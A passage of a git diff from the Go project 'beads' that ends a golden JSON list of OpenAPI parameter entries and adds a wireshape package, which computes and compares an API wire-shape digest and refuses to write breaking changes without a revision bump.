"string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:closed_after", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:closed_before", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:created_after", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:created_before", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:desc_contains", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:empty_description", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countIssues", + "member": "query:group_by", + "type": "string", + "enum": [ + "assignee", + "label", + "priority", + "status", + "type" + ], + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:has_metadata_key", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:id", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:include_ephemeral", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countIssues", + "member": "query:include_infra", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countIssues", + "member": "query:label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:label_any", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:metadata_field", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:no_assignee", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countIssues", + "member": "query:no_labels", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countIssues", + "member": "query:notes_contains", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:priority", + "type": "integer", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:priority_max", + "type": "integer", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:priority_min", + "type": "integer", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:status", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:title", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:title_contains", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:type", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:updated_after", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:updated_before", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:assignee", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:exclude_label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:exclude_type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:has_metadata_key", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:include_deferred", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countReadyWork", + "member": "query:include_ephemeral", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:countReadyWork", + "member": "query:label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:label_any", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:label_pattern", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:label_regex", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:metadata_field", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:parent", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:priority", + "type": "integer", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:type", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:countReadyWork", + "member": "query:unassigned", + "type": "boolean", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:forgetMemory", + "member": "path:key", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:getDependencyTree", + "member": "query:direction", + "type": "string", + "enum": [ + "both", + "down", + "up" + ], + "required": false, + "style": "form", + "explode": true, + "default": "down" + }, + { + "schema": "param:getDependencyTree", + "member": "query:max_depth", + "type": "integer", + "required": false, + "style": "form", + "explode": true, + "default": "50" + }, + { + "schema": "param:getDependencyTree", + "member": "query:root_id", + "type": "string", + "required": true, + "style": "form", + "explode": true + }, + { + "schema": "param:getDependencyTree", + "member": "query:status", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:getIssue", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:getIssue", + "member": "query:brief_deps", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:getIssue", + "member": "query:include_comments", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:getIssue", + "member": "query:include_dependents", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:getMemory", + "member": "path:key", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:getSetting", + "member": "path:key", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:getStats", + "member": "query:assignee", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:getStats", + "member": "query:skip_blocked", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listBlockingAnnotations", + "member": "query:issue_id", + "type": "array", + "required": true, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listDependencies", + "member": "query:issue_id", + "type": "array", + "required": true, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listDependencies", + "member": "query:type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listEvents", + "member": "query:limit", + "type": "integer", + "required": false, + "style": "form", + "explode": true, + "default": "1000" + }, + { + "schema": "param:listEvents", + "member": "query:since", + "type": "integer", + "format": "int64", + "required": true, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:all", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listIssues", + "member": "query:assignee", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:brief", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listIssues", + "member": "query:created_after", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:created_before", + "type": "string", + "format": "date-time", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:cursor", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:exclude_label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:has_metadata_key", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:include_ephemeral", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listIssues", + "member": "query:include_gates", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listIssues", + "member": "query:include_infra", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listIssues", + "member": "query:include_templates", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listIssues", + "member": "query:label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:label_any", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:limit", + "type": "integer", + "required": false, + "style": "form", + "explode": true, + "default": "50" + }, + { + "schema": "param:listIssues", + "member": "query:metadata_field", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:parent", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:sort", + "type": "string", + "enum": [ + "created", + "priority" + ], + "required": false, + "style": "form", + "explode": true, + "default": "created" + }, + { + "schema": "param:listIssues", + "member": "query:status", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listIssues", + "member": "query:type", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listMemories", + "member": "query:search", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:assignee", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:brief", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listReadyWork", + "member": "query:exclude_label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:exclude_type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:has_metadata_key", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:include_deferred", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listReadyWork", + "member": "query:include_ephemeral", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:listReadyWork", + "member": "query:label", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:label_any", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:label_pattern", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:label_regex", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:limit", + "type": "integer", + "required": false, + "style": "form", + "explode": true, + "default": "100" + }, + { + "schema": "param:listReadyWork", + "member": "query:metadata_field", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:parent", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:priority", + "type": "integer", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:sort", + "type": "string", + "enum": [ + "hybrid", + "oldest", + "priority" + ], + "required": false, + "style": "form", + "explode": true, + "default": "priority" + }, + { + "schema": "param:listReadyWork", + "member": "query:type", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listReadyWork", + "member": "query:unassigned", + "type": "boolean", + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:listRelatedIssues", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:listRelatedIssues", + "member": "query:direction", + "type": "string", + "enum": [ + "in", + "out" + ], + "required": true, + "style": "form", + "explode": true + }, + { + "schema": "param:listRelatedIssues", + "member": "query:type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:queryIssues", + "member": "query:all", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:queryIssues", + "member": "query:limit", + "type": "integer", + "required": false, + "style": "form", + "explode": true, + "default": "50" + }, + { + "schema": "param:queryIssues", + "member": "query:q", + "type": "string", + "required": true, + "style": "form", + "explode": true + }, + { + "schema": "param:queryIssues", + "member": "query:reverse", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, + { + "schema": "param:queryIssues", + "member": "query:sort", + "type": "string", + "enum": [ + "assignee", + "closed", + "created", + "id", + "priority", + "status", + "title", + "type", + "updated" + ], + "required": false, + "style": "form", + "explode": true + }, + { + "schema": "param:releaseIssue", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:reopenIssue", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:setSetting", + "member": "path:key", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:unsetSetting", + "member": "path:key", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:updateIssue", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, + { + "schema": "param:watchEvents", + "member": "header:Last-Event-ID", + "type": "integer", + "format": "int64", + "required": false, + "style": "simple" + }, + { + "schema": "param:watchEvents", + "member": "query:since", + "type": "integer", + "format": "int64", + "required": true, + "style": "form", + "explode": true + } + ] +} diff --git a/internal/httpapi/wireshape/wireshape.go b/internal/httpapi/wireshape/wireshape.go new file mode 100644 index 000000000..f778424f0 --- /dev/null +++ b/internal/httpapi/wireshape/wireshape.go @@ -0,0 +1,626 @@ +package wireshape + +import ( + "fmt" + "reflect" + "sort" + "strings" + + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/internal/httpapi/spec" +) + +// Entry is one member of one schema reachable from an operation's response OR +// request body, OR one operation parameter (query, path or header). Schema is +// the component's name (or, for a member whose own value is an inline object +// or array with no $ref of its own, a synthetic dotted path rooted at the +// nearest named schema) so that two members with the same name on different +// schemas are never confused with one another. For a parameter, Schema is +// instead "param:"+operationId and Member is in+":"+name (see +// paramKey) — operation-scoped rather than schema-scoped, because two +// different operations' same-named "status" query parameter are two +// independent wire contracts even when today they happen to share a shape. +// +// The Item* and AdditionalProps* fields exist because a property's own +// Type/Format/Enum/Nullable describe the CONTAINER, not what it contains: a +// `type: array` property is always `Type: "array"` whether its items are +// strings or integers, and a `type: object` property with no `properties` of +// its own (a map, via `additionalProperties`) is always `Type: "object"` +// whether its values are strings or integers. Without these fields, changing +// Issue.labels' item type from string to integer, or IssueCount.groups' +// value type from integer to string, is invisible to this digest even though +// it is exactly the non-additive wire change CurrentWireRevision exists to +// gate — the other half of #6053 alongside the request-body coverage below. +type Entry struct { + Schema string `json:"schema"` + Member string `json:"member"` + Type string `json:"type"` + Format string `json:"format,omitempty"` + Enum []string `json:"enum,omitempty"` + Required bool `json:"required"` + // Nullable records `nullable: true` on this member's own schema node. A + // response member moving from always-present-when-returned to + // sometimes-null is exactly as breaking to a client as the type itself + // changing, and before this field nothing here could see it. + Nullable bool `json:"nullable,omitempty"` + + // ItemType, ItemFormat, ItemEnum and ItemNullable describe a `type: array` + // member's own items node. They are set whenever Type == "array" and the + // items schema resolves to something, regardless of whether the items are + // a scalar (only these fields describe it) or an object with its own + // named members (which ALSO get walked and recorded as their own + // Entry-ies under schema+"."+member+"[]", same as before). + ItemType string `json:"item_type,omitempty"` + ItemFormat string `json:"item_format,omitempty"` + ItemEnum []string `json:"item_enum,omitempty"` + ItemNullable bool `json:"item_nullable,omitempty"` + + // AdditionalPropsType and AdditionalPropsFormat describe a `type: object` + // member's `additionalProperties` schema — the map-value shape of a + // member like IssueCount.groups, which has no `properties` of its own. + // Set only when additionalProperties is a schema (not the boolean `true` + // or `false` some operations use for "no constraint" / "sealed"). + AdditionalPropsType string `json:"additional_props_type,omitempty"` + AdditionalPropsFormat string `json:"additional_props_format,omitempty"` + + // Style, Explode and Default are set only for parameter entries (see + // paramKey): the serialization style OpenAPI uses to flatten an array or + // object parameter into a query/path string, whether it repeats the name + // per value or explodes/collapses, and the literal default value. A + // server that starts expecting `label=a,b` breaks every client still + // sending `label=a&label=b`, even though neither Type nor Enum changed — + // exactly the gap the parameter digest closes. + // + // Style and Explode are the EFFECTIVE values, with OpenAPI 3.0's defaults + // filled in where the document leaves them unset (see walkParam), so a + // parameter that spells out its default is the same entry as one that + // relies on it, while `explode: false` added to a form parameter that + // relied on the implicit `true` is a changed entry. + Style string `json:"style,omitempty"` + Explode bool `json:"explode,omitempty"` + Default string `json:"default,omitempty"` +} + +// paramSchemaPrefix marks an Entry.Schema as naming an operation (via +// operationId) rather than an OpenAPI component schema. Grepping for this +// prefix is how a reader tells a parameter entry apart from a schema member +// entry in golden.json. +const paramSchemaPrefix = "param:" + +// paramKey returns the Schema/Member pair a parameter entry is filed under: +// operation-scoped by operationId, then by location and name. Location is +// part of the key (not just the name) because OpenAPI allows the same name in +// two different locations on one operation (a path `id` and a query `id` +// would otherwise collide). +func paramKey(operationID, in, name string) (schema, member string) { + return paramSchemaPrefix + operationID, in + ":" + name +} + +// Digest is the golden document: the wire revision it was computed against, +// plus every member entry, sorted for a stable diff. +type Digest struct { + WireRevision int `json:"wire_revision"` + Entries []Entry `json:"entries"` +} + +// CompareResult is the outcome of diffing two digests by "schema\x00member" +// key: Changed holds keys present in both whose Entry differs, Removed holds +// keys only want has, and Added holds keys only got has. +type CompareResult struct { + Changed []string + Removed []string + Added []string +} + +// Compare diffs want (typically the committed golden) against got (typically +// a fresh Compute()). It is the one comparison TestWireShapeDigest and +// gendigest's SafeToWrite guard both need, extracted here so the write guard +// and the test can never disagree about what counts as a change. +func Compare(want, got Digest) CompareResult { + wantByKey := map[string]Entry{} + for _, e := range want.Entries { + wantByKey[e.Schema+"\x00"+e.Member] = e + } + gotByKey := map[string]Entry{} + for _, e := range got.Entries { + gotByKey[e.Schema+"\x00"+e.Member] = e + } + + var result CompareResult + for key, w := range wantByKey { + g, ok := gotByKey[key] + if !ok { + result.Removed = append(result.Removed, key) + continue + } + if !reflect.DeepEqual(w, g) { + result.Changed = append(result.Changed, key) + } + } + for key := range gotByKey { + if _, ok := wantByKey[key]; !ok { + result.Added = append(result.Added, key) + } + } + sort.Strings(result.Changed) + sort.Strings(result.Removed) + sort.Strings(result.Added) + return result +} + +// SafeToWrite is gendigest's write guard (review MEDIUM: "refuse to write +// changed or removed entries unless CurrentWireRevision is higher than the +// golden's recorded revision. Additive entries are allowed."). A pure +// addition is always safe regardless of revision; a changed or removed entry +// is only safe when candidate's WireRevision is strictly greater than +// golden's — the exact bump TestWireShapeDigest itself requires to go green, +// so gendigest can never be used to silently launder a failing test instead +// of fixing it. A candidate whose WireRevision is LOWER than golden's is +// refused whatever its entries: the revision table is append-only, so writing +// it would record a rollback the spec forbids. +func SafeToWrite(golden, candidate Digest) (bool, string) { + if candidate.WireRevision < golden.WireRevision { + return false, fmt.Sprintf( + "refusing to write: wire_revision %d is lower than the existing golden's %d — wire_revision only "+ + "ever increases (the revision table in openapi.v0.yaml's wire_revision property is append-only), "+ + "so restore CurrentWireRevision (internal/httpapi/wire_revision.go) instead of writing the "+ + "golden backwards", + candidate.WireRevision, golden.WireRevision) + } + cmp := Compare(golden, candidate) + if len(cmp.Changed) == 0 && len(cmp.Removed) == 0 { + return true, "" + } + if candidate.WireRevision > golden.WireRevision { + return true, "" + } + return false, fmt.Sprintf( + "refusing to write: %d changed and %d removed entr(ies) but wire_revision %d is not greater than "+ + "the existing golden's %d (changed=%v removed=%v) — bump CurrentWireRevision "+ + "(internal/httpapi/wire_revision.go) and the revision table in openapi.v0.yaml's "+ + "wire_revision property FIRST, then regenerate", + len(cmp.Changed), len(cmp.Removed), candidate.WireRevision, golden.WireRevision, cmp.Changed, cmp.Removed) +} + +var httpVerbs = map[string]bool{ + "get": true, "put": true, "post": true, "delete": true, "patch": true, + "head": true, "options": true, "trace": true, +} + +// Compute walks the embedded OpenAPI document and builds the digest for the +// current revision. wireRevision is passed in rather than read from a +// constant here so this package carries no dependency on internal/httpapi +// (which would otherwise be a cycle: internal/httpapi imports nothing from +// here, and this package must stay that way to run from the standalone +// gendigest command without pulling in the server). +// +// RESPONSE schemas, REQUEST BODY schemas, and operation PARAMETERS (query, +// path and header — see paramKey) are all walked. A request-body-only shape +// change — DeleteIssuesRequest.expected_version moving from string to +// integer, say — is exactly as much an undocumented break to an existing +// client as a response change, and the other half of #6053 was invisible +// here until request bodies were added alongside responses. Parameters are +// the same story again: a `limit` query parameter silently retyped, +// re-enumerated, or switched from optional to required never touched a +// response or request body schema, so it was invisible to this digest until +// parameter coverage was added. +func Compute(wireRevision int) (Digest, error) { + return computeFrom(spec.OpenAPIV0(), wireRevision) +} + +// computeFrom is Compute over any OpenAPI document, so this package's own +// tests can drive the walk with a synthetic document instead of the embedded +// one. +func computeFrom(document []byte, wireRevision int) (Digest, error) { + var doc map[string]any + if err := yaml.Unmarshal(document, &doc); err != nil { + return Digest{}, fmt.Errorf("parse openapi document: %w", err) + } + + c := &collector{doc: doc, visited: map[string]bool{}, byKey: map[string]Entry{}} + + paths, _ := doc["paths"].(map[string]any) + for _, item := range paths { + methods, ok := item.(map[string]any) + if !ok { + continue + } + for method, raw := range methods { + if !httpVerbs[strings.ToLower(method)] { + continue + } + op, ok := raw.(map[string]any) + if !ok { + continue + } + + responses, _ := op["responses"].(map[string]any) + for _, rawResp := range responses { + respMap, ok := rawResp.(map[string]any) + if !ok { + continue + } + respMap = c.resolveAny(respMap) + c.walkContent(respMap) + } + + if rb, ok := op["requestBody"].(map[string]any); ok { + rb = c.resolveAny(rb) + c.walkContent(rb) + } + + operationID := asString(op["operationId"]) + params, _ := op["parameters"].([]any) + for _, rawParam := range params { + paramMap, ok := rawParam.(map[string]any) + if !ok { + continue + } + c.walkParam(operationID, c.resolveAny(paramMap)) + } + } + } + + entries := make([]Entry, 0, len(c.byKey)) + for _, e := range c.byKey { + entries = append(entries, e) + } + sort.Slice(entries, func(i, j int) bool { + if entries[i].Schema != entries[j].Schema { + return entries[i].Schema < entries[j].Schema + } + return entries[i].Member < entries[j].Member + }) + return Digest{WireRevision: wireRevision, Entries: entries}, nil +} + +// walkContent walks every media type's schema under a resolved response or +// requestBody node's `content` map. Shared by Compute's response and request +// body loops: a response object and a resolved requestBody object are both +// shaped `{content: {mediaType: {schema: ...}}}`. +func (c *collector) walkContent(node map[string]any) { + content, _ := node["content"].(map[string]any) + for _, rawMedia := range content { + media, ok := rawMedia.(map[string]any) + if !ok { + continue + } + schemaNode, ok := media["schema"].(map[string]any) + if !ok { + continue + } + c.walk(schemaNode, "") + } +} + +// walkParam records one resolved parameter object (already $ref-followed by +// the caller) as a single Entry keyed by paramKey(operationID, in, name). A +// parameter's own Required/Style/Explode live on the parameter object itself; +// Type/Format/Enum/Nullable/Default and, for arrays, the Item* fields, live +// one level down on its `schema` node. Unlike walk, a parameter's schema is +// never itself filed under its own named Entry — this document's parameter +// schemas are all inline scalars or inline arrays of scalars (confirmed by +// grep: no operation parameter uses an object schema), so there is nothing +// further to recurse into, and ANY future object-shaped parameter schema +// still gets its Type/Enum/Required seen here even without recursion. +// +// Style and Explode are recorded as OpenAPI 3.0's effective values: an unset +// style is `form` for a query or cookie parameter and `simple` for a path or +// header one, and an unset explode is true exactly when the style is `form`. +// Recording the raw keys instead would file an unset explode and an explicit +// `explode: false` as the same entry, though one sends `label=a&label=b` and +// the other `label=a,b`. OpenAPI 3.0 applies style and explode only to a +// parameter described by `schema`: one described by `content` is serialized +// by its media type, so the location default recorded for it is a +// placeholder, not a wire promise (this document has no such parameter). +func (c *collector) walkParam(operationID string, node map[string]any) { + name := asString(node["name"]) + in := asString(node["in"]) + if name == "" || in == "" { + // Not a parameter object this document recognizes (for instance, a + // dangling or unresolved $ref) — nothing to record. + return + } + + schema, _ := node["schema"].(map[string]any) + schema = c.resolveAny(schema) + + style := asString(node["style"]) + if style == "" { + style = defaultParamStyle(in) + } + explode, ok := node["explode"].(bool) + if !ok { + explode = style == "form" + } + + entrySchema, entryMember := paramKey(operationID, in, name) + entry := Entry{ + Schema: entrySchema, + Member: entryMember, + Type: asString(schema["type"]), + Format: asString(schema["format"]), + Enum: toStringSlice(schema["enum"]), + Required: asBool(node["required"]), + Nullable: asBool(schema["nullable"]), + Style: style, + Explode: explode, + Default: defaultString(schema["default"]), + } + + if entry.Type == "array" { + if items, ok := schema["items"].(map[string]any); ok { + resolvedItems := c.resolveAny(items) + entry.ItemType = asString(resolvedItems["type"]) + entry.ItemFormat = asString(resolvedItems["format"]) + entry.ItemEnum = toStringSlice(resolvedItems["enum"]) + entry.ItemNullable = asBool(resolvedItems["nullable"]) + } + } + + c.byKey[entry.Schema+"\x00"+entry.Member] = entry +} + +// defaultParamStyle is OpenAPI 3.0's `style` for a parameter that sets none: +// `form` in a query or cookie, `simple` in a path or header. +func defaultParamStyle(in string) string { + switch in { + case "query", "cookie": + return "form" + case "path", "header": + return "simple" + } + return "" +} + +type collector struct { + doc map[string]any + visited map[string]bool + byKey map[string]Entry // "schema\x00member" -> Entry +} + +// lookup resolves one local $ref to the node it names. It returns nil for +// anything this document does not use (a remote ref, or a path with no node). +func lookup(doc map[string]any, ref string) map[string]any { + rest := strings.TrimPrefix(ref, "#/") + var cur any = doc + for _, part := range strings.Split(rest, "/") { + m, ok := cur.(map[string]any) + if !ok { + return nil + } + cur = m[part] + } + m, _ := cur.(map[string]any) + return m +} + +// schemaRefName reports the component schema name a $ref names, or "" when +// the ref points somewhere else (components.responses, for instance). +func schemaRefName(ref string) string { + const prefix = "#/components/schemas/" + name, ok := strings.CutPrefix(ref, prefix) + if !ok { + return "" + } + return name +} + +// resolveAny follows a $ref chain to its concrete node, however many hops it +// takes (a response $ref lands on a response object; it is never itself a +// further $ref in this document, but the walk tolerates it either way). +func (c *collector) resolveAny(node map[string]any) map[string]any { + seen := 0 + for { + ref, ok := node["$ref"].(string) + if !ok { + return node + } + next := lookup(c.doc, ref) + if next == nil { + return node + } + node = next + seen++ + if seen > 32 { + // Defensive only: this document has no ref cycle, and 32 hops is + // far beyond anything a hand-written spec would ever chain. + return node + } + } +} + +func toStringSlice(v any) []string { + raw, ok := v.([]any) + if !ok { + return nil + } + out := make([]string, 0, len(raw)) + for _, e := range raw { + out = append(out, fmt.Sprint(e)) + } + sort.Strings(out) + return out +} + +func asString(v any) string { + s, _ := v.(string) + return s +} + +func asBool(v any) bool { + b, _ := v.(bool) + return b +} + +// defaultString renders a schema's `default` value (which, unlike enum +// members, is a single scalar of whatever type the schema declares — string, +// number or bool) as a comparable string, or "" when the schema has none. A +// literal "" default and "no default at all" are indistinguishable here, +// which matches every default this document actually declares (none are the +// empty string). +func defaultString(v any) string { + if v == nil { + return "" + } + return fmt.Sprint(v) +} + +// walk records every property of the schema node reaches (following $refs and +// flattening allOf and oneOf), then recurses into each property's own object +// or array shape. label names an anonymous (non-$ref) node for entries +// recorded under it; a $ref always overrides it with the component's own +// name. +// +// Every NAMED schema is walked at most once (the visited guard), which is +// what makes a cycle between named schemas (and there is at least the +// potential for one as this document grows) a no-op rather than a stack +// overflow, and what makes the digest the same whichever operation reaches a +// shared schema first. +func (c *collector) walk(node map[string]any, label string) { + name := label + for { + ref, ok := node["$ref"].(string) + if !ok { + break + } + if n := schemaRefName(ref); n != "" { + name = n + } + next := lookup(c.doc, ref) + if next == nil { + return + } + node = next + } + + if merged, ok := c.mergeCombinator(node, "allOf"); ok { + node = merged + } else if merged, ok := c.mergeCombinator(node, "oneOf"); ok { + // oneOf is a union, not an intersection — merging its branches' + // properties together is not semantically a "oneOf" anymore. This + // document uses oneOf nowhere today (confirmed by grep), so this + // branch is defensive only: a best-effort shape so a future oneOf is + // SEEN by the digest rather than silently invisible, not a claim + // that the merge is the right model for real union validation. + node = merged + } + + if name != "" { + if c.visited[name] { + return + } + c.visited[name] = true + } + + if props, ok := node["properties"].(map[string]any); ok { + required := map[string]bool{} + for _, r := range toStringSlice(node["required"]) { + required[r] = true + } + members := make([]string, 0, len(props)) + for m := range props { + members = append(members, m) + } + sort.Strings(members) + for _, member := range members { + propRaw := props[member] + propMap, ok := propRaw.(map[string]any) + if !ok { + continue + } + resolved := c.resolveAny(propMap) + entry := Entry{ + Schema: name, + Member: member, + Type: asString(resolved["type"]), + Format: asString(resolved["format"]), + Enum: toStringSlice(resolved["enum"]), + Required: required[member], + Nullable: asBool(resolved["nullable"]), + } + + var itemsNode, addlPropsNode map[string]any + switch entry.Type { + case "array": + if items, ok := resolved["items"].(map[string]any); ok { + resolvedItems := c.resolveAny(items) + entry.ItemType = asString(resolvedItems["type"]) + entry.ItemFormat = asString(resolvedItems["format"]) + entry.ItemEnum = toStringSlice(resolvedItems["enum"]) + entry.ItemNullable = asBool(resolvedItems["nullable"]) + itemsNode = items + } + case "object": + if ap, ok := resolved["additionalProperties"].(map[string]any); ok { + resolvedAP := c.resolveAny(ap) + entry.AdditionalPropsType = asString(resolvedAP["type"]) + entry.AdditionalPropsFormat = 